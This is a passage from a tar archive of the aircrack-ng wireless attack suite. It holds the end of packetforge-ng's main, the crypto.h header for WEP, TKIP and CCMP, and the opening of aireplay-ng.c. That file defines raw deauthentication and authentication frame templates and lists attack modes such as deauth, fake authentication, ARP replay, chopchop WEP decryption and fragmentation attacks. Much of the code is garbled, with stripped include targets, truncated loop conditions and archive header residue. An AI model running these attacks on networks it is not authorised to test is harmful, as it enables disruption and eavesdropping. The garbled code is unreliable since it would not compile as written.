0 ) return 1; if( set_dmac(h80211) != 0 ) return 1; if( opt.pktlen > 26 ) h80211[26]=0x03; return 0; } int forge_custom() { if(capture_ask_packet( &opt.pktlen ) != 0) return 1; // if(read_raw_packet(h80211, opt.raw_file, opt.pktlen) != 0) return 1; if( set_tofromds(h80211) != 0 ) return 1; if(memcmp(opt.bssid, NULL_MAC, 6) != 0) { if( set_bssid(h80211) != 0 ) return 1; } if(memcmp(opt.dmac, NULL_MAC, 6) != 0) { if( set_dmac(h80211) != 0 ) return 1; } if(memcmp(opt.smac, NULL_MAC, 6) != 0) { if( set_smac(h80211) != 0 ) return 1; } return 0; } void print_usage(void) { char *version_info = getVersion("Packetforge-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC); printf(usage, version_info); free(version_info); } int main(int argc, char* argv[]) { int arg; int option_index; int ret; int n; memset( &opt, 0, sizeof( opt ) ); /* initialise global options */ memset(opt.bssid, '\x00', 6); memset(opt.dmac, '\x00', 6); memset(opt.smac, '\x00', 6); memset(opt.dip, '\x00', 4); memset(opt.sip, '\x00', 4); memset(opt.fctrl, '\x00', 2); opt.prga = NULL; opt.cap_out = NULL; opt.raw_file = NULL; opt.mode = -1; opt.pktlen = -1; opt.prgalen = -1; opt.ttl = -1; opt.sport = -1; opt.dport = -1; opt.tods = 1; opt.fromds = 0; opt.encrypt = 1; opt.size = 30; opt.ivs2 = NULL; memset(opt.prev_bssid, '\x00', 6); opt.first_packet = 1; opt.num_packets = 1; srand(time(NULL)); while( 1 ) { static struct option long_options[] = { {"arp", 0, 0, '0'}, {"udp", 0, 0, '1'}, {"icmp", 0, 0, '2'}, {"null", 0, 0, '3'}, {"custom", 0, 0, '9'}, {"help", 0, 0, 'H'}, {0, 0, 0, 0 } }; int option; option_index = 0; option = getopt_long( argc, argv, "p:a:c:h:jok:l:j:r:y:01239w:et:s:Hn:", long_options, &option_index ); if( option < 0 ) break; switch( option ) { case 0 : break; case ':' : printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); case '?' : printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); case 'p' : ret = sscanf( optarg, "%x", &arg ); if( arg < 0 || arg > 65535 || ret != 1) { printf( "Invalid frame control word. [0-65535]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.fctrl[0]=((arg>>8)&0xFF); opt.fctrl[1]=(arg&0xFF); break; case 't' : ret = sscanf( optarg, "%i", &arg ); if( arg < 0 || arg > 255 || ret != 1) { printf( "Invalid time to live. [0-255]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.ttl = arg; break; case 'n' : ret = sscanf( optarg, "%i", &arg ); if( arg <= 0 || ret != 1) { printf( "Invalid number of packets. [>=1]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.num_packets = arg; break; case 'a' : if( getmac( optarg, 1, opt.bssid ) != 0 ) { printf( "Invalid AP MAC address.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'c' : if( getmac( optarg, 1, opt.dmac ) != 0 ) { printf( "Invalid destination MAC address.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'h' : if( getmac( optarg, 1, opt.smac ) != 0 ) { printf( "Invalid source MAC address.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'j' : opt.fromds = 1; break; case 'o' : opt.tods = 0; break; case 'e' : opt.encrypt = 0; break; case 'r' : if( opt.raw_file != NULL ) { printf( "Packet source already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.raw_file = optarg; break; case 'y' : if( opt.prga != NULL ) { printf( "PRGA file already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } if( read_prga(&(opt.prga), optarg) != 0 ) { printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'w' : if( opt.cap_out != NULL ) { printf( "Output file already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.cap_out = optarg; break; case 'k' : if( getip(optarg, opt.dip, &(opt.dport)) != 0 ) { printf( "Invalid destination IP address.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return 1; } break; case 'l' : if( getip(optarg, opt.sip, &(opt.sport)) != 0 ) { printf( "Invalid source IP address.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return 1; } break; case 's' : ret = sscanf( optarg, "%i", &arg ); if( arg < 26 || arg > 1520 || ret != 1) { printf( "Invalid packet size. [26-1520]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.size = arg; break; case '0' : if( opt.mode != -1 ) { printf( "Mode already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.mode = 0; break; case '1' : if( opt.mode != -1 ) { printf( "Mode already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.mode = 1; break; case '2' : if( opt.mode != -1 ) { printf( "Mode already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.mode = 2; break; case '3' : if( opt.mode != -1 ) { printf( "Mode already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.mode = 3; break; case '9' : if( opt.mode != -1 ) { printf( "Mode already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.mode = 9; break; case 'H' : print_usage(); return( 1 ); default : break; } } if(argc == 1) { print_usage(); printf("Please specify a mode.\n"); return( 1 ); } if( opt.raw_file != NULL ) { if( ! ( dev.f_cap_in = fopen( opt.raw_file, "rb" ) ) ) { perror( "open failed" ); return( 1 ); } n = sizeof( struct pcap_file_header ); if( fread( &dev.pfh_in, 1, n, dev.f_cap_in ) != (size_t) n ) { perror( "fread(pcap file header) failed" ); return( 1 ); } if( dev.pfh_in.magic != TCPDUMP_MAGIC && dev.pfh_in.magic != TCPDUMP_CIGAM ) { fprintf( stderr, "\"%s\" isn't a pcap file (expected " "TCPDUMP_MAGIC).\n", opt.raw_file ); return( 1 ); } if( dev.pfh_in.magic == TCPDUMP_CIGAM ) SWAP32(dev.pfh_in.linktype); if( dev.pfh_in.linktype != LINKTYPE_IEEE802_11 && dev.pfh_in.linktype != LINKTYPE_PRISM_HEADER && dev.pfh_in.linktype != LINKTYPE_RADIOTAP_HDR && dev.pfh_in.linktype != LINKTYPE_PPI_HDR ) { fprintf( stderr, "Wrong linktype from pcap file header " "(expected LINKTYPE_IEEE802_11) -\n" "this doesn't look like a regular 802.11 " "capture.\n" ); return( 1 ); } } for(n=0; n 1?"s":""), opt.cap_out ); if(opt.ivs2) fclose(opt.ivs2); return 0; } aircrack-ng-1.2-rc4/src/crypto.h0000644000000000000000000002656212615041107015211 0ustar rootroot/* * MD5, SHA-1, RC4 and AES implementations * * Copyright (C) 2001-2004 Christophe Devine * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. If you * do not wish to do so, delete this exception statement from your * version. If you delete this exception statement from all source * files in the program, then also delete it here. */ #ifndef _CRYPTO_H #define _CRYPTO_H #include #ifdef USE_GCRYPT #include "gcrypt-openssl-wrapper.h" #include "sha1-git.h" #else #include #include // We don't use EVP. Bite me #include #include #endif #define S_LLC_SNAP "\xAA\xAA\x03\x00\x00\x00" #define S_LLC_SNAP_ARP (S_LLC_SNAP "\x08\x06") #define S_LLC_SNAP_WLCCP "\xAA\xAA\x03\x00\x40\x96\x00\x00" #define S_LLC_SNAP_IP (S_LLC_SNAP "\x08\x00") #define S_LLC_SNAP_SPANTREE "\x42\x42\x03\x00\x00\x00\x00\x00" #define S_LLC_SNAP_CDP "\xAA\xAA\x03\x00\x00\x0C\x20" #define IEEE80211_FC1_DIR_FROMDS 0x02 /* AP ->STA */ #define TYPE_ARP 0 #define TYPE_IP 1 #define NULL_MAC (unsigned char*)"\x00\x00\x00\x00\x00\x00" #define BROADCAST (unsigned char*)"\xFF\xFF\xFF\xFF\xFF\xFF" #define SPANTREE (unsigned char*)"\x01\x80\xC2\x00\x00\x00" #define CDP_VTP (unsigned char*)"\x01\x00\x0C\xCC\xCC\xCC" #define IEEE80211_FC0_SUBTYPE_MASK 0xf0 #define IEEE80211_FC0_SUBTYPE_SHIFT 4 /* for TYPE_DATA (bit combination) */ #define IEEE80211_FC0_SUBTYPE_QOS 0x80 #define IEEE80211_FC0_SUBTYPE_QOS_NULL 0xc0 #define GET_SUBTYPE(fc) \ ( ( (fc) & IEEE80211_FC0_SUBTYPE_MASK ) >> IEEE80211_FC0_SUBTYPE_SHIFT ) \ << IEEE80211_FC0_SUBTYPE_SHIFT #define ROL32( A, n ) \ ( ((A) << (n)) | ( ((A)>>(32-(n))) & ( (1UL << (n)) - 1 ) ) ) #define ROR32( A, n ) ROL32( (A), 32-(n) ) struct WPA_ST_info { struct WPA_ST_info *next; /* next supplicant */ unsigned char stmac[6]; /* supplicant MAC */ unsigned char bssid[6]; /* authenticator MAC */ unsigned char snonce[32]; /* supplicant nonce */ unsigned char anonce[32]; /* authenticator nonce */ unsigned char keymic[20]; /* eapol frame MIC */ unsigned char eapol[256]; /* eapol frame contents */ unsigned char ptk[80]; /* pairwise transcient key */ unsigned eapol_size; /* eapol frame size */ unsigned long t_crc; /* last ToDS frame CRC */ unsigned long f_crc; /* last FromDS frame CRC */ int keyver, valid_ptk; unsigned char pn[6]; /* Packet Number (WPA-CCMP) */ }; struct Michael { unsigned long key0; unsigned long key1; unsigned long left; unsigned long right; unsigned long nBytesInM; unsigned long message; unsigned char mic[8]; }; // typedef unsigned char byte; /* 8-bit byte (octet) */ // typedef unsigned short u16b; /* 16-bit unsigned word */ // typedef unsigned long u32b; /* 32-bit unsigned word */ // /* macros for extraction/creation of byte/u16b values */ // #define RotR1(v16) ((((v16) >> 1) & 0x7FFF) ^ (((v16) & 1) << 15)) // #define Lo8(v16) ((byte)( (v16) & 0x00FF)) // #define Hi8(v16) ((byte)(((v16) >> 8) & 0x00FF)) // #define Lo16(v32) ((u16b)( (v32) & 0xFFFF)) // #define Hi16(v32) ((u16b)(((v32) >>16) & 0xFFFF)) // #define Mk16(hi,lo) ((lo) ^ (((u16b)(hi)) << 8)) // /* select the Nth 16-bit word of the Temporal Key byte array TK[] */ // #define TK16(N) Mk16(TK[2*(N)+1],TK[2*(N)]) // /* S-box lookup: 16 bits --> 16 bits */ // #define _S_(v16) (Sbox[0][Lo8(v16)] ^ Sbox[1][Hi8(v16)]) // /* fixed algorithm "parameters" */ // #define PHASE1_LOOP_CNT 8 /* this needs to be "big enough" */ // #define TA_SIZE 6 /* 48-bit transmitter address */ // #define TK_SIZE 16 /* 128-bit Temporal Key */ // #define P1K_SIZE 10 /* 80-bit Phase1 key */ // #define RC4_KEY_SIZE 16 /* 128-bit RC4KEY (104 bits unknown) */ /* 2-byte by 2-byte subset of the full AES S-box table */ // const u16b TkipSbox[2][256]= /* Sbox for hash (can be in ROM) */ // {{ // 0xC6A5,0xF884,0xEE99,0xF68D,0xFF0D,0xD6BD,0xDEB1,0x9154, // 0x6050,0x0203,0xCEA9,0x567D,0xE719,0xB562,0x4DE6,0xEC9A, // 0x8F45,0x1F9D,0x8940,0xFA87,0xEF15,0xB2EB,0x8EC9,0xFB0B, // 0x41EC,0xB367,0x5FFD,0x45EA,0x23BF,0x53F7,0xE496,0x9B5B, // 0x75C2,0xE11C,0x3DAE,0x4C6A,0x6C5A,0x7E41,0xF502,0x834F, // 0x685C,0x51F4,0xD134,0xF908,0xE293,0xAB73,0x6253,0x2A3F, // 0x080C,0x9552,0x4665,0x9D5E,0x3028,0x37A1,0x0A0F,0x2FB5, // 0x0E09,0x2436,0x1B9B,0xDF3D,0xCD26,0x4E69,0x7FCD,0xEA9F, // 0x121B,0x1D9E,0x5874,0x342E,0x362D,0xDCB2,0xB4EE,0x5BFB, // 0xA4F6,0x764D,0xB761,0x7DCE,0x527B,0xDD3E,0x5E71,0x1397, // 0xA6F5,0xB968,0x0000,0xC12C,0x4060,0xE31F,0x79C8,0xB6ED, // 0xD4BE,0x8D46,0x67D9,0x724B,0x94DE,0x98D4,0xB0E8,0x854A, // 0xBB6B,0xC52A,0x4FE5,0xED16,0x86C5,0x9AD7,0x6655,0x1194, // 0x8ACF,0xE910,0x0406,0xFE81,0xA0F0,0x7844,0x25BA,0x4BE3, // 0xA2F3,0x5DFE,0x80C0,0x058A,0x3FAD,0x21BC,0x7048,0xF104, // 0x63DF,0x77C1,0xAF75,0x4263,0x2030,0xE51A,0xFD0E,0xBF6D, // 0x814C,0x1814,0x2635,0xC32F,0xBEE1,0x35A2,0x88CC,0x2E39, // 0x9357,0x55F2,0xFC82,0x7A47,0xC8AC,0xBAE7,0x322B,0xE695, // 0xC0A0,0x1998,0x9ED1,0xA37F,0x4466,0x547E,0x3BAB,0x0B83, // 0x8CCA,0xC729,0x6BD3,0x283C,0xA779,0xBCE2,0x161D,0xAD76, // 0xDB3B,0x6456,0x744E,0x141E,0x92DB,0x0C0A,0x486C,0xB8E4, // 0x9F5D,0xBD6E,0x43EF,0xC4A6,0x39A8,0x31A4,0xD337,0xF28B, // 0xD532,0x8B43,0x6E59,0xDAB7,0x018C,0xB164,0x9CD2,0x49E0, // 0xD8B4,0xACFA,0xF307,0xCF25,0xCAAF,0xF48E,0x47E9,0x1018, // 0x6FD5,0xF088,0x4A6F,0x5C72,0x3824,0x57F1,0x73C7,0x9751, // 0xCB23,0xA17C,0xE89C,0x3E21,0x96DD,0x61DC,0x0D86,0x0F85, // 0xE090,0x7C42,0x71C4,0xCCAA,0x90D8,0x0605,0xF701,0x1C12, // 0xC2A3,0x6A5F,0xAEF9,0x69D0,0x1791,0x9958,0x3A27,0x27B9, // 0xD938,0xEB13,0x2BB3,0x2233,0xD2BB,0xA970,0x0789,0x33A7, // 0x2DB6,0x3C22,0x1592,0xC920,0x8749,0xAAFF,0x5078,0xA57A, // 0x038F,0x59F8,0x0980,0x1A17,0x65DA,0xD731,0x84C6,0xD0B8, // 0x82C3,0x29B0,0x5A77,0x1E11,0x7BCB,0xA8FC,0x6DD6,0x2C3A, // }, // { /* second half of table is byte-reversed version of first! */ // 0xA5C6,0x84F8,0x99EE,0x8DF6,0x0DFF,0xBDD6,0xB1DE,0x5491, // 0x5060,0x0302,0xA9CE,0x7D56,0x19E7,0x62B5,0xE64D,0x9AEC, // 0x458F,0x9D1F,0x4089,0x87FA,0x15EF,0xEBB2,0xC98E,0x0BFB, // 0xEC41,0x67B3,0xFD5F,0xEA45,0xBF23,0xF753,0x96E4,0x5B9B, // 0xC275,0x1CE1,0xAE3D,0x6A4C,0x5A6C,0x417E,0x02F5,0x4F83, // 0x5C68,0xF451,0x34D1,0x08F9,0x93E2,0x73AB,0x5362,0x3F2A, // 0x0C08,0x5295,0x6546,0x5E9D,0x2830,0xA137,0x0F0A,0xB52F, // 0x090E,0x3624,0x9B1B,0x3DDF,0x26CD,0x694E,0xCD7F,0x9FEA, // 0x1B12,0x9E1D,0x7458,0x2E34,0x2D36,0xB2DC,0xEEB4,0xFB5B, // 0xF6A4,0x4D76,0x61B7,0xCE7D,0x7B52,0x3EDD,0x715E,0x9713, // 0xF5A6,0x68B9,0x0000,0x2CC1,0x6040,0x1FE3,0xC879,0xEDB6, // 0xBED4,0x468D,0xD967,0x4B72,0xDE94,0xD498,0xE8B0,0x4A85, // 0x6BBB,0x2AC5,0xE54F,0x16ED,0xC586,0xD79A,0x5566,0x9411, // 0xCF8A,0x10E9,0x0604,0x81FE,0xF0A0,0x4478,0xBA25,0xE34B, // 0xF3A2,0xFE5D,0xC080,0x8A05,0xAD3F,0xBC21,0x4870,0x04F1, // 0xDF63,0xC177,0x75AF,0x6342,0x3020,0x1AE5,0x0EFD,0x6DBF, // 0x4C81,0x1418,0x3526,0x2FC3,0xE1BE,0xA235,0xCC88,0x392E, // 0x5793,0xF255,0x82FC,0x477A,0xACC8,0xE7BA,0x2B32,0x95E6, // 0xA0C0,0x9819,0xD19E,0x7FA3,0x6644,0x7E54,0xAB3B,0x830B, // 0xCA8C,0x29C7,0xD36B,0x3C28,0x79A7,0xE2BC,0x1D16,0x76AD, // 0x3BDB,0x5664,0x4E74,0x1E14,0xDB92,0x0A0C,0x6C48,0xE4B8, // 0x5D9F,0x6EBD,0xEF43,0xA6C4,0xA839,0xA431,0x37D3,0x8BF2, // 0x32D5,0x438B,0x596E,0xB7DA,0x8C01,0x64B1,0xD29C,0xE049, // 0xB4D8,0xFAAC,0x07F3,0x25CF,0xAFCA,0x8EF4,0xE947,0x1810, // 0xD56F,0x88F0,0x6F4A,0x725C,0x2438,0xF157,0xC773,0x5197, // 0x23CB,0x7CA1,0x9CE8,0x213E,0xDD96,0xDC61,0x860D,0x850F, // 0x90E0,0x427C,0xC471,0xAACC,0xD890,0x0506,0x01F7,0x121C, // 0xA3C2,0x5F6A,0xF9AE,0xD069,0x9117,0x5899,0x273A,0xB927, // 0x38D9,0x13EB,0xB32B,0x3322,0xBBD2,0x70A9,0x8907,0xA733, // 0xB62D,0x223C,0x9215,0x20C9,0x4987,0xFFAA,0x7850,0x7AA5, // 0x8F03,0xF859,0x8009,0x171A,0xDA65,0x31D7,0xC684,0xB8D0, // 0xC382,0xB029,0x775A,0x111E,0xCB7B,0xFCA8,0xD66D,0x3A2C, // } // }; /* Used for own RC4 implementation */ struct rc4_state { int x, y, m[256]; }; struct AP_info; void calc_pmk( char *key, char *essid, unsigned char pmk[40] ); int decrypt_wep( unsigned char *data, int len, unsigned char *key, int keylen ); int encrypt_wep( unsigned char *data, int len, unsigned char *key, int keylen ); int check_crc_buf( unsigned char *buf, int len ); int calc_crc_buf( unsigned char *buf, int len ); void calc_mic(struct AP_info *ap, unsigned char *pmk, unsigned char *ptk, unsigned char *mic); int known_clear(void *clear, int *clen, int *weight, unsigned char *wh, int len); int add_crc32(unsigned char* data, int length); int add_crc32_plain(unsigned char* data, int length); int is_ipv6(void *wh); int is_dhcp_discover(void *wh, int len); int is_qos_arp_tkip(void *wh, int len); int calc_tkip_ppk( unsigned char *h80211, int caplen, unsigned char TK1[16], unsigned char key[16] ); int decrypt_tkip( unsigned char *h80211, int caplen, unsigned char TK1[16] ); int encrypt_ccmp( unsigned char *h80211, int caplen, unsigned char TK1[16], unsigned char PN[6] ); int decrypt_ccmp( unsigned char *h80211, int caplen, unsigned char TK1[16] ); int calc_ptk( struct WPA_ST_info *wpa, unsigned char pmk[32] ); int calc_tkip_mic(unsigned char* packet, int length, unsigned char ptk[80], unsigned char value[8]); int michael_test(unsigned char key[8], unsigned char *message, int length, unsigned char out[8]); int calc_tkip_mic_key(unsigned char* packet, int length, unsigned char key[8]); #endif /* crypto.h */ aircrack-ng-1.2-rc4/src/aireplay-ng.c0000644000000000000000000063316712660207441016106 0ustar rootroot/* * 802.11 WEP replay & injection attacks * * Copyright (C) 2006-2016 Thomas d'Otreppe * Copyright (C) 2004, 2005 Christophe Devine * * WEP decryption attack (chopchop) developed by KoreK * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #if defined(linux) #include #endif #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include "version.h" #include "pcap.h" #include "osdep/osdep.h" #include "crypto.h" #include "common.h" #define RTC_RESOLUTION 8192 #define REQUESTS 30 #define MAX_APS 20 #define NEW_IV 1 #define RETRY 2 #define ABORT 3 #define DEAUTH_REQ \ "\xC0\x00\x3A\x01\xCC\xCC\xCC\xCC\xCC\xCC\xBB\xBB\xBB\xBB\xBB\xBB" \ "\xBB\xBB\xBB\xBB\xBB\xBB\x00\x00\x07\x00" #define AUTH_REQ \ "\xB0\x00\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC" \ "\xBB\xBB\xBB\xBB\xBB\xBB\xB0\x00\x00\x00\x01\x00\x00\x00" #define ASSOC_REQ \ "\x00\x00\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC" \ "\xBB\xBB\xBB\xBB\xBB\xBB\xC0\x00\x31\x04\x64\x00" #define REASSOC_REQ \ "\x20\x00\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC" \ "\xBB\xBB\xBB\xBB\xBB\xBB\xC0\x00\x31\x04\x64\x00\x00\x00\x00\x00\x00\x00" #define NULL_DATA \ "\x48\x01\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC" \ "\xBB\xBB\xBB\xBB\xBB\xBB\xE0\x1B" #define RTS \ "\xB4\x00\x4E\x04\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC" #define RATES \ "\x01\x04\x02\x04\x0B\x16\x32\x08\x0C\x12\x18\x24\x30\x48\x60\x6C" #define PROBE_REQ \ "\x40\x00\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\xCC\xCC\xCC\xCC\xCC\xCC" \ "\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00" #define RATE_NUM 12 #define RATE_1M 1000000 #define RATE_2M 2000000 #define RATE_5_5M 5500000 #define RATE_11M 11000000 #define RATE_6M 6000000 #define RATE_9M 9000000 #define RATE_12M 12000000 #define RATE_18M 18000000 #define RATE_24M 24000000 #define RATE_36M 36000000 #define RATE_48M 48000000 #define RATE_54M 54000000 int bitrates[RATE_NUM]={RATE_1M, RATE_2M, RATE_5_5M, RATE_6M, RATE_9M, RATE_11M, RATE_12M, RATE_18M, RATE_24M, RATE_36M, RATE_48M, RATE_54M}; extern char * getVersion(char * progname, int maj, int min, int submin, int svnrev, int beta, int rc); extern int maccmp(unsigned char *mac1, unsigned char *mac2); extern unsigned char * getmac(char * macAddress, int strict, unsigned char * mac); extern int check_crc_buf( unsigned char *buf, int len ); extern const unsigned long int crc_tbl[256]; extern const unsigned char crc_chop_tbl[256][4]; char usage[] = "\n" " %s - (C) 2006-2015 Thomas d\'Otreppe\n" " http://www.aircrack-ng.org\n" "\n" " usage: aireplay-ng \n" "\n" " Filter options:\n" "\n" " -b bssid : MAC address, Access Point\n" " -d dmac : MAC address, Destination\n" " -s smac : MAC address, Source\n" " -m len : minimum packet length\n" " -n len : maximum packet length\n" " -u type : frame control, type field\n" " -v subt : frame control, subtype field\n" " -t tods : frame control, To DS bit\n" " -f fromds : frame control, From DS bit\n" " -w iswep : frame control, WEP bit\n" " -D : disable AP detection\n" "\n" " Replay options:\n" "\n" " -x nbpps : number of packets per second\n" " -p fctrl : set frame control word (hex)\n" " -a bssid : set Access Point MAC address\n" " -c dmac : set Destination MAC address\n" " -h smac : set Source MAC address\n" " -g value : change ring buffer size (default: 8)\n" " -F : choose first matching packet\n" "\n" " Fakeauth attack options:\n" "\n" " -e essid : set target AP SSID\n" " -o npckts : number of packets per burst (0=auto, default: 1)\n" " -q sec : seconds between keep-alives\n" " -Q : send reassociation requests\n" " -y prga : keystream for shared key auth\n" " -T n : exit after retry fake auth request n time\n" "\n" " Arp Replay attack options:\n" "\n" " -j : inject FromDS packets\n" "\n" " Fragmentation attack options:\n" "\n" " -k IP : set destination IP in fragments\n" " -l IP : set source IP in fragments\n" "\n" " Test attack options:\n" "\n" " -B : activates the bitrate test\n" "\n" /* " WIDS evasion options:\n" " -y value : Use packets older than n packets\n" " -z : Ghosting\n" "\n" */ " Source options:\n" "\n" " -i iface : capture packets from this interface\n" " -r file : extract packets from this pcap file\n" "\n" " Miscellaneous options:\n" "\n" " -R : disable /dev/rtc usage\n" " --ignore-negative-one : if the interface's channel can't be determined,\n" " ignore the mismatch, needed for unpatched cfg80211\n" "\n" " Attack modes (numbers can still be used):\n" "\n" " --deauth count : deauthenticate 1 or all stations (-0)\n" " --fakeauth delay : fake authentication with AP (-1)\n" " --interactive : interactive frame selection (-2)\n" " --arpreplay : standard ARP-request replay (-3)\n" " --chopchop : decrypt/chopchop WEP packet (-4)\n" " --fragment : generates valid keystream (-5)\n" " --caffe-latte : query a client for new IVs (-6)\n" " --cfrag : fragments against a client (-7)\n" " --migmode : attacks WPA migration mode (-8)\n" " --test : tests injection and quality (-9)\n" "\n" " --help : Displays this usage screen\n" "\n"; struct options { unsigned char f_bssid[6]; unsigned char f_dmac[6]; unsigned char f_smac[6]; int f_minlen; int f_maxlen; int f_type; int f_subtype; int f_tods; int f_fromds; int f_iswep; int r_nbpps; int r_fctrl; unsigned char r_bssid[6]; unsigned char r_dmac[6]; unsigned char r_smac[6]; unsigned char r_dip[4]; unsigned char r_sip[4]; char r_essid[33]; int r_fromdsinj; char r_smac_set; char ip_out[16]; //16 for 15 chars + \x00 char ip_in[16]; int port_out; int port_in; char *iface_out; char *s_face; char *s_file; unsigned char *prga; int a_mode; int a_count; int a_delay; int f_retry; int ringbuffer; int ghost; int prgalen; int delay; int npackets; int fast; int bittest; int nodetect; int ignore_negative_one; int rtc; int reassoc; } opt; struct devices { int fd_in, arptype_in; int fd_out, arptype_out; int fd_rtc; unsigned char mac_in[6]; unsigned char mac_out[6]; int is_wlanng; int is_hostap; int is_madwifi; int is_madwifing; int is_bcm43xx; FILE *f_cap_in; struct pcap_file_header pfh_in; } dev; static struct wif *_wi_in, *_wi_out; struct ARP_req { unsigned char *buf; int hdrlen; int len; }; struct APt { unsigned char set; unsigned char found; unsigned char len; unsigned char essid[255]; unsigned char bssid[6]; unsigned char chan; unsigned int ping[REQUESTS]; int pwr[REQUESTS]; }; struct APt ap[MAX_APS]; unsigned long nb_pkt_sent; unsigned char h80211[4096]; unsigned char tmpbuf[4096]; unsigned char srcbuf[4096]; char strbuf[512]; unsigned char ska_auth1[] = "\xb0\x00\x3a\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\xb0\x01\x01\x00\x01\x00\x00\x00"; unsigned char ska_auth3[4096] = "\xb0\x40\x3a\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\xc0\x01"; int ctrl_c, alarmed; char * iwpriv; void sighandler( int signum ) { if( signum == SIGINT ) ctrl_c++; if( signum == SIGALRM ) alarmed++; } int reset_ifaces() { //close interfaces if(_wi_in != _wi_out) { if(_wi_in) { wi_close(_wi_in); _wi_in = NULL; } if(_wi_out) { wi_close(_wi_out); _wi_out = NULL; } } else { if(_wi_out) { wi_close(_wi_out); _wi_out = NULL; _wi_in = NULL; } } /* open the replay interface */ _wi_out = wi_open(opt.iface_out); if (!_wi_out) return 1; dev.fd_out = wi_fd(_wi_out); /* open the packet source */ if( opt.s_face != NULL ) { _wi_in = wi_open(opt.s_face); if (!_wi_in) return 1; dev.fd_in = wi_fd(_wi_in); wi_get_mac(_wi_in, dev.mac_in); } else { _wi_in = _wi_out; dev.fd_in = dev.fd_out; /* XXX */ dev.arptype_in = dev.arptype_out; wi_get_mac(_wi_in, dev.mac_in); } wi_get_mac(_wi_out, dev.mac_out); return 0; } int set_bitrate(struct wif *wi, int rate) { int i, newrate; if( wi_set_rate(wi, rate) ) return 1; // if( reset_ifaces() ) // return 1; //Workaround for buggy drivers (rt73) that do not accept 5.5M, but 5M instead if (rate == 5500000 && wi_get_rate(wi) != 5500000) { if( wi_set_rate(wi, 5000000) ) return 1; } newrate = wi_get_rate(wi); for(i=0; i0 ) { if(bitrates[i-1] >= newrate) { printf("Couldn't set rate to %.1fMBit. (%.1fMBit instead)\n", (rate/ #if defined(__x86_64__) && defined(__CYGWIN__) (0.0f + 1000000)), #else 1000000.0), #endif (wi_get_rate(wi)/ #if defined(__x86_64__) && defined(__CYGWIN__) (0.0f + 1000000) #else 1000000.0 #endif )); return 1; } } if( i 24) && (pkt[1] & 0x04) == 0 && (pkt[22] & 0x0F) == 0) { pkt[22] = (nb_pkt_sent & 0x0000000F) << 4; pkt[23] = (nb_pkt_sent & 0x00000FF0) >> 4; } if (wi_write(wi, buf, count, NULL) == -1) { switch (errno) { case EAGAIN: case ENOBUFS: usleep(10000); return 0; /* XXX not sure I like this... -sorbo */ } perror("wi_write()"); return -1; } nb_pkt_sent++; return 0; } int read_packet(void *buf, size_t count, struct rx_info *ri) { struct wif *wi = _wi_in; /* XXX */ int rc; 